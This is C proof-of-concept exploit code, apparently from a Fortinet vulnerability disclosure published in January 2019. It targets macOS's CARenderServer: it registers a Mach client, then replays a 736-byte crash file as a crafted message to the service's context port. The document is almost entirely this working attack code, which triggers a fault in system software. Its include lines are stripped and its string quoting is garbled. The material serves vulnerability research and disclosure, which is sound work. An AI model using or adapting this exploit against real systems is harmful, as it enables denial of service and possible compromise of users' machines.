#include

#include

#include

#include

#include

#include

#include

#include

#include

typedef struct quartz_register_client_s quartz_register_client_t;

struct quartz_register_client_s {

mach_msg_header_t header;

uint32_t body;

mach_msg_port_descriptor_t ports[4];

char padding[12];

};

typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;

struct quartzcore_mach_msg{

mach_msg_header_t header;

char msg_body[712];

};

uint64_t get_filesize(const char *fn){

struct stat st;

stat(fn, &st);

uint64_t fsize = st.st_size;

return fsize;

};

int main(int argc, const char * argv[]) {

mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;

task_get_bootstrap_port(mach_task_self(), &bs_port);

const char *render_service_name = 'com.apple.CARenderServer';

kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, 'bootstrap_look_up');

kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);

if (kr != KERN_SUCCESS) {

return -1;

}

printf('[*] Get service of %s successully!n', render_service_name);

quartz_register_client_t msg_register;

memset(&msg_register, 0, sizeof(msg_register));

msg_register.header.msgh_bits =

MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |

MACH_MSGH_BITS_COMPLEX;

msg_register.header.msgh_remote_port = p;

msg_register.header.msgh_local_port = mig_get_reply_port();

msg_register.header.msgh_id = 40202; // _XRegisterClient

msg_register.body = 4;

msg_register.ports[0].name = mach_task_self();

msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;

msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;

msg_register.ports[1].name = mach_task_self();

msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;

msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;

msg_register.ports[2].name = mach_task_self();

msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;

msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;

msg_register.ports[3].name = mach_task_self();

msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;

msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;

kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,

sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),

msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

if (kr != KERN_SUCCESS) {

return -1 ;

}

mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);

uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);

printf('[*] context_port: 0x%x, conn_id: 0x%xn',context_port,conn_id);

char *crash_log = 'crash.data'; //size is 736.

FILE *fp = fopen(crash_log, 'rb');

if(fp == NULL){

printf('fopen error!n');

}

uint64_t fsize = get_filesize(crash_log);

void *msg_buf = malloc(fsize);

memset(msg_buf, 0, fsize);

fread(msg_buf, fsize, 1, fp);

quartzcore_mach_msg_t qc_mach_msg = {0};

qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;

qc_mach_msg.header.msgh_remote_port = context_port;

qc_mach_msg.header.msgh_id = 40002;

memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));

*(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1; // Ports count

memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);

*(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;

kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);

if (kr != KERN_SUCCESS) {

printf('[-] Send message failed: 0x%dn', kr);

return -1 ;

}

return 0;

}

Attachments

  • Original document
  • Permalink

Disclaimer

Fortinet Inc. published this content on 24 January 2019 and is solely responsible for the information contained herein. Distributed by Public, unedited and unaltered, on 25 January 2019 01:48:07 UTC